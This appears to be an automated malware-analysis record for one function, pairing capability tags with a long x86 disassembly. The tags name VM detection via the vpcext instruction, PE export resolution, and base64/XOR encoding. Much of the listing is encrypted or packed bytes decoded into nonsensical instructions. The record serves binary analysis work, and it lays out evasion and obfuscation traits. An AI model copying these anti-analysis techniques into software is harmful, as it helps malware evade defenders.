Function at 0x70b05bd5
Capabilities:
Authenticate hmac
Check for vm using instruction vpcext
Encode data using base64
Encode data using xor
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1bc
mov dword [ebp - 0x18], 0x9431e
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0xaa3e1
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0xd43fd
or eax, dword [ebp - 0x24]
je 0x70b0ba75
mov edx, 0xd43fd
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0xc8231
or eax, dword [ebp - 0x24]
je 0x70b06476
mov edx, 0xc8231
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0xc5961
or eax, dword [ebp - 0x24]
je 0x70b0c9a2
mov edx, 0xc5961
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0xb9f82
or eax, dword [ebp - 0x24]
je 0x70b0b057
mov edx, 0xb9f82
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0xb1888
or eax, dword [ebp - 0x24]
je 0x70b05f67
mov edx, 0xb1888
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0xa2b62
or eax, dword [ebp - 0x24]
je 0x70b09c1b
mov edx, 0xa2b62
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0xa1de8
or eax, dword [ebp - 0x24]
je 0x70b08cee
mov edx, 0xa1de8
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x976cf
or eax, dword [ebp - 0x24]
je 0x70b0a639
mov edx, 0x976cf
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x9083d
or eax, dword [ebp - 0x24]
je 0x70b0b566
mov edx, 0x9083d
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x856cd
or eax, dword [ebp - 0x24]
je 0x70b087df
mov edx, 0x856cd
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x7e1cc
or eax, dword [ebp - 0x24]
je 0x70b0a12a
mov edx, 0x7e1cc
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x659d6
or eax, dword [ebp - 0x24]
je 0x70b082d0
mov edx, 0x659d6
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x5f737
or eax, dword [ebp - 0x24]
je 0x70b073a3
mov edx, 0x5f737
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x4637a
or eax, dword [ebp - 0x24]
je 0x70b078b2
mov edx, 0x4637a
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x3eee8
or eax, dword [ebp - 0x24]
je 0x70b07dc1
mov edx, 0x3eee8
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x38e8a
or eax, dword [ebp - 0x24]
je 0x70b06e94
mov edx, 0x38e8a
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x34c19
or eax, dword [ebp - 0x24]
je 0x70b0bf84
mov edx, 0x34c19
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x306f6
or eax, dword [ebp - 0x24]
je 0x70b0ab48
mov edx, 0x306f6
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x25b77
or eax, dword [ebp - 0x24]
je 0x70b0c493
mov edx, 0x25b77
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x160c3
or eax, dword [ebp - 0x24]
je 0x70b0ceb1
mov edx, 0x160c3
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0xc45f
or eax, dword [ebp - 0x24]
je 0x70b06985
mov edx, 0xc45f
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x70b0ceae
mov eax, dword [ebp - 0x28]
xor eax, 0x694
xchg esp, eax
push es
add byte [eax], al
or eax, dword [ebp - 0x24]
je 0x70b0970c
mov eax, dword [ebp - 0x28]
xor eax, 0x7c3f
or eax, dword [ebp - 0x24]
je 0x70b091fd
jmp 0x70b0ceae
adc eax, 0xa09096ab
wait
inc eax
or dh, byte [esi + 0x1d]
mov edi, 0x5cf2f0ab
nop
mov al, byte [0x760a409b]
sbb eax, 0xf2f0abbf
pop esp
out 0xbf, eax
jo 0x70b05f6a
clc
or byte [ecx], 0x69
pcmpeqw mm7, mm1
fbld tbyte [ebp + 0x40c118bb]
xor cl, byte cs:[esi]
test eax, 0x31772ef5
test dword [edx*2 - 0x67f9d718], edx
sbb eax, 0x6cda4867
mov ebp, 0x1bd7326a
dec esp
dec ebx
jae 0x70b05f44
mov dword [ebx + 0x751f773c], 0x4e5d3601
xchg edx, eax
mov cl, 0x35
cmp al, 0x7e
mov dh, 0x8b
mov bh, 0xaf
and al, 0xbd
pop ss
nop
int3
test byte [ebp + 0x10], 0x94
cmp eax, dword [ebp - 0x1a9ab960]
jmp 0xb7642b6e
jbe 0x70b06444
int1
rol dword [esi], cl
and ah, byte [esi + 0x35]
mov eax, dword [0x7ae6299c]
lea esi, [eax]
nop
int3
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bh, 0x3c
fcomp st(2)
in eax, dx
mov dh, 0x18
daa
lahf
push ds
je 0x70b063d9
std
jb 0x70b064b7
xchg dword [esi + 0x61], ebx
fldcw word [ebx - 0x67]
inc ebx
invalid
adc dword [eax - 0xb7afa45], ecx
push edx
mov word [ebp - 0x778e6b32], ss
xchg edi, eax
nop
int3
nop
je 0x70b0640a
jne 0x70b064b2
bound edi, qword [ebx]
outsb dx, byte [esi]
out 0x28, al
int 0x20
lds esp, [ebx - 4]
xor al, 0x2f
sahf
in al, 5
mov bl, 0xd0
push edx
jmp 0xd37d5615
or al, 0xd7
push edi
pop ss
sbb al, 0x71
test al, 0x72
or ebp, dword [esi]
out dx, al
jno 0x70b06461
jb 0x70b064c6
out dx, al
adc esi, dword [eax + 0x133d6dd1]
add byte [eax - 0x72b9dcaf], bl
and eax, dword [esi - 0x73]
adc dl, byte [eax + 0x369aaecc]
push 0xffffffffffffffc4
pop esp
invalid
jmp 0x70b069be
cld
shr byte [esi], 0x82
movsb byte es:[edi], byte [esi]
scasd eax, dword es:[edi]
mov esp, 0x3743f725
cld
cmp edx, ebp
sti
or dword [ecx - 0x3d7ec404], ebp
das
scasd eax, dword es:[edi]
cmp esi, 0xeb80f345
push ss
dec esi
or al, 0x4a
add dword [edx], ebp
pop ebp
fst dword [edi - 8]
mov cl, 0xf7
sub esp, ebp
or ah, bh
cmp al, 0x2e
stosd dword es:[edi], eax
test dword [ebp - 0xe292927], ebx
sbb eax, 0x3cf9697c
jp 0x70b0694b
imul edi, ecx, 0x37887a3c
aaa
xchg ecx, eax
mov ch, 0xae
mov bl, 0xbd
test dword [ecx - 0x66], edi
invalid
adc dword [ebx + 0x36c71377], esi
invalid
push ecx
shl byte [esi + 0x3ceca04d], 1
push edx
mov al, byte [0x6c523cec]
in al, dx
cmp al, 0x52
insb byte es:[edi], dx
dec edi
in al, dx
jno 0x70b07407
adc al, 0xd2
mov eax, dword [0x6d8a98d1]
in al, 0x2d
add byte [ebx], ah
test eax, 0x1736efa3
add al, 0x3a
shr dword [0x193ac6f8], cl
dec ecx
jecxz 0x70b073a8
imul dword [ebx + 0x1476c654]
jae 0x70b0744e
mov bl, 0xcb
insb byte es:[edi], dx
rol dword [eax], 1
pop esi
lodsd eax, dword [esi]
push ds
lock adc byte [0xaa431b91], ah
mov ecx, esi
cli
jmp 0x70b073b7
jmp 0x70b073a7
int3
aas
cmp dl, 0xe6
invalid
mov esi, 0x3adc782c
invalid
faddp st(0)
sub dword [ecx - 0x5867d866], edx
xor eax, 0xf1e9cc90
push eax
add byte [eax], al
cli
test al, 0x3a
push edi
jo 0x70b07e40
shr dword [eax], 0xad
xchg ebx, eax
enter 0x3d88, 0xffffffffffffffca
jbe 0x70b07d5d
mov ecx, 0x266ec10c
cmp dword [edi + 0x47], esp
dec eax
mov dword [0xf60147a7], eax
push es
jbe 0x70b07db1
ret 0xb96
mov al, 0x1a
fisub word [ecx*4 + 0x1dd04ffb]
fist word [ecx - 0x5950b955]
invalid
repne lodsd eax, dword [esi]
idiv byte [edx]
mov edi, 0x6cccaead
xchg ebx, eax
out 0xa5, al
mov ah, 0xf5
mov dword [0xd6e29fa7], eax
loop 0x70b07e18
mov dword [0x756ba61c], eax
repne movsb byte es:[edi], byte [esi]
inc eax
cmc
xor eax, 0xd7cd7efa
mov esi, 0x1996de31
or dword [ebx - 9], eax
mov ebp, 0xa6fc003b
idiv dword [ebp - 0x5903ffc5]
fild dword [edx]
mov byte [ecx + 0x230edf5d], ch
aam 0xeb
pop esi
dec edx
cmpsd dword [esi], dword es:[edi]
lds edx, [eax + 0x635484cc]
or eax, 0xa5a4d41b
jno 0x70b07e57
and ecx, dword [ebp - 0x32]
shl bl, cl
test eax, 0xe6f267a4
cmp al, 0xf4
push eax
xchg dword [edi + 0x1147106a], ebx
mov eax, 0xcbcdeed3
mov ebx, 0x6edff028
aad 0x9a
loop 0x70b07e9b
outsb dx, byte [esi]
retf 0xc807
pop es
enter 0xffffffffffffb855, 0x18
push ebp
nop
jge 0x70b07e2f
xchg byte [ebp - 0x43], cl
imul eax, dword [esi - 0x66b28f5e], 0xfffffff8
and ecx, edi
dec edx
jbe 0x70b07e9a
xor dword [edx - 0x173af817], ebx
push cs
ret
add eax, 0xa1e8f642
fld st(1)
sbb al, 0x99
lcall 0x4425, 0xa3e7f078
int 0x7c
test dword [edx], edi
inc esp
or byte [ebx + 0x2a], bh
sti
mov dl, 0x55
mov dword [esi + 0x25], esp
retf 0x8378
pop eax
test al, 0x86
aad 0xbd
adc eax, 0x20c5c818
and edx, dword [esi]
movsd dword es:[edi], dword [esi]
test eax, 0x270db73f
fisttp qword [edi - 0x36]
std
add byte [eax], bh
invalid
shr byte [ecx], cl
add byte [edx + 0x7e60510f], bl
lahf
mov bl, 0xa4
adc edx, esp
hlt
sub dword [ecx - 0x1b], ecx
dec edi
sub byte [esi], 0x4f
push 0xffffffffffffffbd
add dword [0x6365c142], eax
cdq
shl dword [ebp + 0x63], 0x99
imul dword [eax]
arpl word [ebx - 0xb1daf1e], cx
loop 0x70b08ca3
xlatb
test eax, 0x8db8b4ca
inc esp
push ecx
das
cmp dl, ah
out dx, al
jbe 0x70b08c5e
or eax, 0xc78440e7
push es
cmp byte [edi - 0x3c], bh
mov esi, 0x9c242c2
or eax, 0xdc789cef
pushfd
js 0x70b08cad
pop ebp
fcompi st(5)
add dh, cl
jp 0x70b08cde
push eax
mov ch, 0x5c
jno 0x70b08c97
pop ds
invalid
cmp al, 7
mov byte [ebp + 0x746d13b], bh
mov edi, 0x12ea5362
jo 0x70b08d6a
pop esi
je 0x70b08cf0
js 0x70b08cce
pop ebp
push esi
mov dl, 0xc3
mov al, byte [0xcb1512a3]
xor byte [ebx], dh
rcl dword [edx]
ljmp 0xfe09
out 0x24, al
push ss
mov cl, 0xab
out dx, al
jp 0x70b08dd3
mov ch, byte [esi + ebx*2]
or dword [esi], ecx
loope 0x70b08dae
out dx, al
and byte [eax], 0xeb
lea edi, [ebx]
or eax, 0x11ee711
or byte [ebx - 4], 0xf4
adc al, 0xd4
mov edx, 0x61210fbf
pop eax
dec edx
and ch, byte [0x178660be]
nop
int3
mov edx, 0xf3c5b29e
cwde
and al, 0xc3
vcvtsi2ss xmm2, xmm2, dword [eax + 0x486f9aea]
sub dl, byte [eax + 0x486f9aea]
or al, 0x7a
invalid
in eax, dx
pop edi
fcompp
fcmovnu st(0), st(1)
mov ah, byte [edx - 0x19]
ja 0x70b08e26
dec ebx
push ds
salc
mov ebx, 0x9185c0b7
add eax, 0x9cccd42d
sub eax, 0xcc905b76
inc esi
cmp byte [edx + ebx*4], bh
wait
jne 0x70b08e71
inc eax
scasb al, byte es:[edi]
aad 0x81
cmp bh, byte [edi]
pop es
inc eax
lodsb al, byte es:[esi]
jp 0x70b08da4
invalid
les edi, [esi]
lodsd eax, dword [esi]
outsd dx, dword [esi]
fisubr dword [ebx + edx*4 - 8]
xchg edx, eax
jne 0x70b08e38
popfd
lahf
cmp cl, bh
cmp edi, dword [ebx - 0x2a]
salc
jg 0x70b08dde
aam 0x73
pop eax
bound eax, qword [esi + 0xa]
int 0x38
and eax, 0x426dcc90
ret
mov edx, 0x80c93132
push esp
sub al, 0x23
or al, bh
mov ecx, 0x1405e08e
fst dword [ebx + 0x2f36007]
xlatb
sub dword [ebx + 0x3f84500c], 0x6127cde7
test byte [eax - 0x74], 0xbd
daa
sar byte [0xcc901ec2], 1
add dword ss:[edi + ebp*8 - 0x34], edx
popfd
lahf
xchg ebp, eax
cmpsd dword [esi], dword es:[edi]
ror ecx, cl
jo 0x70b08ee8
call 0xc0a50379
sbb bl, byte [eax + 0x7474e35b]
ret 0x2907
invalid
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
lodsd eax, dword [esi]
jae 0x70b09260
invalid
hlt
cmp byte [ebx + 0xa12310f], dl
mov bh, byte [edi]
mov edx, 0x8369d8aa
jno 0x70b09239
xlatb
push edi
out dx, eax
dec edx
push ebx
mov edx, 0xc96fd1f7
sub dword [ebp - 0x22], eax
sbb dword [ebx - 0x5d], ebx
pop ds
mov edx, 0x3e75a746
fisttp word [edx + 0x10a05e44]
test dword [ebx + 0x50], ebx
mov eax, 0xda804f11
stosb byte es:[edi], al
pop ecx
test al, 0xba
in al, 0x99
add ah, byte [ebx]
xchg ebp, eax
invalid
mov al, 0x7f
push ds
dec ebp
fild dword [eax]
xchg ebx, eax
test al, 0x44
mov esi, 0xa089cc90
salc
adc eax, 0x2104d9f0
rcl byte [esi - 0x71ae56a3]
mov eax, 0x3255ef64
xor al, 0x39
push eax
sub byte [esi + 0x1c], 0x91
pop esp
mov ebp, 0xe3383eda
push es
cmc
lcall 0xb1d2, 0x70e535b8
mov esp, 0x749bd2df
lea edi, [ebx + 0x1320999b]
and dword [ebx - 0x5f], eax
sub byte [edi - 0x45faddb5], dh
xor al, 0xa7
enter 0x49aa, 2
inc esi
pop esi
mov al, 0xc3
inc ecx
xchg esi, eax
cmp bh, byte [esi]
in al, 0x58
pop eax
and al, 0xb1
test dword [eax - 0x6f131aed], edx
int3
popal
jp 0x70b09760
jg 0x70b096a5
lodsb al, byte [esi]
push edi
sbb ecx, esi
nop
aam 0xa4
cld
mov word [edx + 0x3a9b92f5], ss
movsd dword es:[edi], dword [esi]
js 0x70b0975a
jo 0x70b09754
or ch, ah
and eax, 0x13582aa3
inc ecx
xchg ebx, eax
or dword [ebx], 0xffffff8b
adc al, 0x7a
sbb eax, 0x39f52e45
jg 0x70b09777
push ss
dec esp
lds esi, [ebx + 0x46]
insb byte es:[edi], dx
adc dword [eax], edi
sub byte [ecx], al
fucomp st(2)
or al, 0xd
dec ecx
xchg edx, eax
movsb byte es:[edi], byte [esi]
push ecx
fcomp dword [edi + 0x6b]
jae 0x70b096fd
shr byte [esi], cl
in al, dx
cmp esp, dword [eax]
invalid
cmp esi, dword [edx - 0x3f]
in al, dx
xchg edx, eax
out dx, al
nop
int3
push cs
fadd st(3), st(0)
cwde
sub dword [ecx], edi
rcr dword [esi], 1
mov dword [eax], esp
fadd dword [edx + 0x45b80ccf]
xor eax, 0x6ee37d61
fld xword [edx + ebx*2]
mov bh, ah
mov eax, dword [0x4af51676]
sbb byte [edx + 0x40], bl
daa
and dh, byte [ebx + esi + 0x51d306c1]
lds di, [ebx]
enter 0x3303, 0x21
sub byte [ebp + 0x7f], 0x55
invalid
cmpsd dword [esi], dword es:[edi]
xor bl, byte [ebx - 0x76]
jns 0x70b09c61
dec ecx
mov dword [0x53037448], eax
cmp byte [esi + 0x13909319], ch
das
imul ebx, dword [ecx - 0x11], 0x9cab26a
in eax, 0x9c
or ebp, esp
pushfd
retf
sub eax, 0xc4033a7
push esp
call 0xde2e2830
popfd
mov cl, 0x2d
sub al, 0x18
nop
or byte [0x2329c77], bh
lodsd eax, dword [esi]
jns 0x70b09c3a
pop ss
scasd eax, dword es:[edi]
cmp eax, 0xd7a35d50
jge 0x70b09bf7
pop ebp
mov dword [0xb87d2ed7], eax
add dword [esp + ebp - 0x48], esi
xor al, 0xb6
xchg esp, eax
mov dh, 0x94
cmp dword [ebp - 0x1a], ecx
mov ds, word [ebp + 0x4dc992b9]
xchg dword [eax], edi
out dx, al
fldenv [ecx - 0x707c3061]
inc ebp
dec edx
and bh, cl
cmp dword [esi], ebp
pop edx
movsd dword es:[edi], dword [esi]
xchg byte [edi], bh
aas
jae 0x70b09c39
mov al, byte [0x65b5516b]
fdiv dword [ecx]
pop es
cmp eax, 0xcc904c5c
fstp xword [ebx + ecx - 0x5301cd00]
xchg ecx, eax
jae 0x70b09c10
xchg ebx, eax
ficom dword [esi]
jb 0x70b09caa
sub dl, 0x27
lodsb al, byte [esi]
jnp 0x70b09c44
int3
popfd
outsb dx, byte [esi]
idiv esp
loope 0x70b09cb4
sbb eax, 0x9b83e2d1
invalid
popfd
test al, 0x51
pop esi
wait
sub word [esi - 0x5ba40da8], 0x1d1d
dec esi
xchg ebx, eax
pop ebx
movsb byte es:[edi], byte [esi]
sbb eax, 0x93f24e1d
inc edi
jnp 0x70b09cd7
into
sub al, 0x4f
outsb dx, byte [esi]
aad 0x8e
cmc
nop
int3
jle 0x70b09c88
rcl byte [edi + edx - 0x7c49250], 0xf5
cmp edi, eax
cmc
mov ah, 0xa0
add bh, al
jo 0x70b09cde
int 0x95
mov ecx, 0xbd165aab
push eax
shr byte [ebp + 0x1b], cl
mov ecx, 0x20298905
push ds
add al, ch
mov eax, dword [0xf0cc82c8]
stosd dword es:[edi], eax
or dl, byte [ebp - 0x80]
retf
push ss
retf
scasb al, byte es:[edi]
sahf
dec edx
in eax, dx
xor dword [ebx], edi
xchg esi, eax
dec ebp
jo 0x70b0a0ef
adc al, 0x41
mov byte [ebp - 0x23], bh
pop ss
and bh, byte [edx]
ret 0x686d
xor al, 0xeb
lcall 0x8474, 0x81b46877
invalid
cli
das
and eax, dword [ebx + ecx*2]
invalid
xor dh, byte [eax + esi*2 + 1]
aaa
test al, 0xb9
invalid
push ss
xchg byte [ecx + edx*4 + 0x60], ah
and ch, al
pop es
sar dword [esi], 1
shl dword [edx], 0x65
inc ecx
lcall 0x79db, 0xb788835c
sal ecx, cl
pop esp
or dword [eax - 0x2c862449], 0xfffffff1
fcmovne st(0), st(6)
push ecx
mov ebx, 0x791192bc
add al, 0xa8
paddsw mm5, mm5
test al, 0xf
in eax, dx
in eax, dx
cwde
jbe 0x70b0b586
je 0x70b0b5c2
invalid
sbb eax, 0x76ed6077
lodsd eax, dword [esi]
jbe 0x70b0b575
adc cl, byte [edx - 0x14]
pop edi
shrd ecx, edi, 0xc1
fcompp
lcall 0x88d5, 0xcb4dea8b
cmp byte [eax], dl
cld
mov ah, 0x10
xchg al, dl
cmp eax, dword [edi + 0x1b]
imul esi, dword [edx], 0x43
jb 0x70b0b5c6
cmp dword [esi - 0x6a08a7e9], edx
pop ss
rcl byte [ebx + edi*8 - 0x23f36d9], cl
and eax, eax
xor al, 0xb0
ficom dword [ecx + 0x64]
sbb eax, 0x3f33546
cmp dword [ebp + 0x48e01d5], esi
cld
sub eax, 0x9bba5370
or dl, byte [eax + 0x4929e2cc]
or esp, dword [eax - 0x64]
inc bl
push es
cli
xchg esi, eax
in eax, dx
int3
invalid
sbb dword [ebp + 0x28], 0x5ab39d4b
xor eax, 0x4b3fd90
mov ds, word fs:[edx - 0x7b6a3249]
inc edi
inc al
pop eax
push 0x81a329cf
test eax, 0x371a17bc
inc ecx
in al, 0x41
invalid
adc esp, ecx
nop
int3
inc esi
or byte [ebx + 0x1b], 0x83
dec ebx
inc esi
lahf
mov esi, 0xa487960a
sbb dword [edx], esi
jbe 0x70b0ba25
cmp eax, 0x2a55bc69
std
fmul st(5), st(0)
mov dh, 0x5c
ja 0x70b0ba6c
in al, 0x92
arpl dx, di
and al, 0x8a
sar byte [edi], cl
sub byte [ebx], al
nop
pushfd
jg 0x70b0ba43
std
rol byte [esi], 0x76
mov word [edx - 0x24], ds
pop ebp
push esp
mov edx, dword [ebx - 7]
jnp 0x70b0baed
cwde
sbb ebx, dword [ebp + 0x56]
fldcw word [esi]
retf 0x5843
fisttp qword [edi + ebp]
ljmp 0xd76f
ror byte [edi + 0x6e], cl
mov ah, 0xec
mov ebp, 0xbe885351
xchg edi, eax
xchg edi, eax
mul edx
rcl dword [eax + edi*4 - 0x2f], cl
xchg esp, eax
and edx, dword [ebx - 0x4e]
mov edi, 0x32433961
xchg ebx, eax
inc esi
cmp dword [edx + ebx*2 + 0x31f9d955], 0xffffffb7
sbb dh, byte [ebx]
mov cl, 0xec
stosd dword es:[edi], eax
adc eax, 0x3419fd28
and dword [edi + 0x21], eax
jno 0x70b0c023
int3
push ds
lea esp, [ebx]
jmp 0x70b0c05a
cwde
in eax, dx
pop ebp
xor al, 0x76
mov ch, 0x1d
xor al, 0x3c
fisttp dword [ebp + 0x4d]
add dword [0x6df13677], esp
ljmp 0x9f1e
sti
invalid
insd dword es:[edi], dx
add ebx, dword [ecx]
mov ah, 0xc1
mov dword [0xc1dde165], eax
mov al, 0x7f
xor al, 0xc2
push esi
movsb byte es:[edi], byte [esi]
invalid
nop
jmp 0x70b0ceb2
nop
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x38], 0xaf514
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0x56aa8
mov dword [ebp - 0x3c], 0
mov ecx, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
xor eax, 0x105fbc
or eax, dword [ebp - 0x44]
je 0x70b0fdcd
mov edx, 0x105fbc
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0xcb4f7
or eax, dword [ebp - 0x44]
je 0x70b0eea3
mov edx, 0xcb4f7
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0xc267b
or eax, dword [ebp - 0x44]
je 0x70b0df76
mov edx, 0xc267b
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0xb43a6
or eax, dword [ebp - 0x44]
je 0x70b0e994
mov edx, 0xb43a6
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0xb32ad
or eax, dword [ebp - 0x44]
je 0x70b0d558
mov edx, 0xb32ad
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0xa1f97
or eax, dword [ebp - 0x44]
je 0x70b0f8c1
mov edx, 0xa1f97
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0x7ec7d
or eax, dword [ebp - 0x44]
je 0x70b0d049
mov edx, 0x7ec7d
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0x7dc2c
or eax, dword [ebp - 0x44]
je 0x70b0f3b2
mov edx, 0x7dc2c
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x70b0fdd0
mov eax, dword [ebp - 0x48]
xor eax, 0xe983
or eax, dword [ebp - 0x44]
je 0x70b0e485
mov eax, dword [ebp - 0x48]
xor eax, 0x708e2
or eax, dword [ebp - 0x44]
je 0x70b0da67
jmp 0x70b0fdd0
xchg byte [ebx], bh
sar dword ds:[eax + eax*4], cl
lodsb al, byte [esi]
rol dword [edi], 0x26
call 0x94117c78
adc esp, esp
dec esp
add eax, ebx
push ebx
add byte [edi + 0x6b], cl
lcall 0x83ea, 0xdb7415af
or al, 0x9b
daa
xchg edx, eax
out dx, al
push cs
sti
and dword [esi], 0xc7ab3605
cli
jo 0x70b0d09d
and al, 0x82
sbb dh, dh
sbb byte [edx], 0xf6
cmp al, 0x12
in eax, 0xf3
out 0x77, al
sbb ebp, eax
mov bl, 0xa
js 0x70b0d078
mov byte [0x8aba52d8], al
hlt
nop
int3
pop ss
ret 0xbbb4
test eax, 0x1829eef6
invalid
mov esi, dword [edi + 0x3e]
dec esi
cmp edi, dword [ebp - 0xa]
dec eax
and ch, byte [edx - 0x49]
dec edx
push eax
sar ebp, 1
js 0x70b0dad7
outsd dx, dword [esi]
jbe 0x70b0da10
pushfd
dec esi
add ebp, dword [ebp + 0x20]
cdq
int3
pop edi
or dword [ebx - 0x3549ffbc], 0x76
in eax, dx
or ah, byte [ecx + 0x6c]
push edi
inc ebx
mov ch, 0x26
or esp, dword [edi + 0x3b]
invalid
cmp ch, al
out 0xe9, eax
and byte [edx + 0x54], bl
invalid
xchg dword [esi - 0x17], ebx
and byte [eax + esi + 0x46], 0x3f
cmpsb byte [esi], byte es:[edi]
outsb dx, byte [esi]
cwde
std
xchg ebp, eax
pushal
das
ljmp 0x396f
xlatb
int 0x56
call 0xf9300133
mov al, byte [ebp + edx + 0x40]
jecxz 0x70b0e4d5
xor dword [edi + ebx*8 + 0x51], edi
jg 0x70b0e3f1
mov cs, word [ebx]
and al, 0x9d
mov ch, 0xdd
cmp ebx, dword [edi - 0x7933cae7]
xchg dword [ebx], ebp
lahf
rol dl, cl
sub byte [esi - 0x53b44fb8], al
sub ecx, dword [edi]
out dx, al
inc ebx
invalid
pop eax
mov esp, 0x3e2b12e6
test byte [esi], ch
mov cl, 0x20
and eax, 0x9cf31892
scasb al, byte es:[edi]
mov esi, 0xad5ec31f
pop esi
lodsd eax, dword [esi]
cmp eax, 0xdfd17ab0
das
pop dword [ecx + 0x1c]
dec ebp
mov bh, 0x70
dec edx
add eax, 0xf22b9497
jns 0x70b0e44e
mov al, byte [0x7eecedbf]
imul esp, dword [ebx - 0x7b], 0x2fe9d5d0
mov edi, 0x697eeced
arpl word [ebp + 0x2fe9d5d0], ax
push esi
outsb dx, byte [esi]
adc bh, byte [edi - 0x64]
mov bl, 0xe7
salc
and ebx, dword [edx]
or esp, dword [ebx + 0x78]
jns 0x70b0e52a
xchg edi, eax
sbb al, 0x92
cmp al, 0xf
jae 0x70b0e4d0
mov word [edx - 0x28937627], fs
mov byte [0xd76c89d9], al
mov dword [ebx], ebx
push esi
or byte [eax + 0x1246c3cc], dl
loope 0x70b0e531
int3
mov al, 0xdb
xlatb
ret
sbb byte [edx - 0xb], dh
movsb byte es:[edi], byte [esi]
adc cl, byte [ecx - 0x5e]
into
jnp 0x70b0e543
aad 0x6f
hlt
add ch, byte [edx - 0x6e]
or bl, ch
clc
imul ebp, dword [edi + 0x39], 0x76
ja 0x70b0e4f0
shr dword [edx], cl
push edx
cmpsd dword [esi], dword es:[edi]
push 0x898ba85
js 0x70b0e4ad
jo 0x70b0e498
loop 0x70b0e580
pop ss
jae 0x70b0e55d
jnp 0x70b0e4da
